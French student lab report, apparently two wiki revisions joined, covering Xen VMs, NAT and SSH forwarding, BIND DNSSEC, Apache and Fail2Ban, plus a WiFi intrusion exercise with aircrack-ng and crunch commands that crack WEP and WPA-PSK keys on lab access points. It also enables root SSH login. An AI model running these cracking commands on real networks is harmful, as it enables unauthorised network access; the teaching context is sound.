devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.

Dans notre cas, nous appliquerons la redirection suivante :
{| class="wikitable"
|+
!Nom de la VM
!Port de redirection associé
|-
|TomPere1
|2201
|-
|TomPere2
|2202
|}
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Ensuite, on met à jour la modification grâce à <syntaxhighlight>
sysctl -p
</syntaxhighlight>Nous avons ajouté les règles suivantes :<syntaxhighlight>
nft add chain PREROUTING
</syntaxhighlight>Redirection des ports :<syntaxhighlight>
iptables -t nat -A PREROUTING -p tcp --dport 2201 -j DNAT --to-destination 192.168.0.2:22
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.0.3:22
</syntaxhighlight>Pour que les machines internes puissent sortir sur Internet via l’adresse publique de la mandataire, nous avons appliqué une mascarade :<syntaxhighlight>
iptables -t nat -A POSTROUTING -j MASQUERADE
</syntaxhighlight>Grâce à cette configuration nous pouvons nous connecter sur les machines de services en SSH depuis l'extérieur, via les commandes suivantes :<syntaxhighlight>
ssh root@193.48.57.168 -p2201
ssh root@193.48.57.168 -p2202
</syntaxhighlight>Super ! L'objectif est atteint.

Remarque : Si on veut que cette configuration reste, il faudra par contre installer le paquet <code>iptables-persistent</code> et effectuer la sauvegarde.<syntaxhighlight>
apt install iptables-persistent
netfilter-persistent save
</syntaxhighlight>

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.
En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code><syntaxhighlight lang="shell">
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T14:06:12Z

Tmerien : /* DNSSEC */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.

Dans notre cas, nous appliquerons la redirection suivante :
{| class="wikitable"
|+
!Nom de la VM
!Port de redirection associé
|-
|TomPere1
|2201
|-
|TomPere2
|2202
|}
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Création des chaînes :<syntaxhighlight>
nft add chain PREROUTING
</syntaxhighlight>Redirection des ports :<syntaxhighlight>
nft add rule NAT PREROUTING tcp dport 2201 dnat to 192.168.0.2:22
nft add rule NAT PREROUTING tcp dport 2202 dnat to 192.168.0.3:22
</syntaxhighlight>Grâce à cette configuration nous pouvons nous connecter sur les machines de services en SSH depuis l'extérieur, via les commandes suivantes :<syntaxhighlight>
ssh root@193.48.57.168 -p2201
ssh root@193.48.57.168 -p2202
</syntaxhighlight>

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.
En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code><syntaxhighlight lang="shell">
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
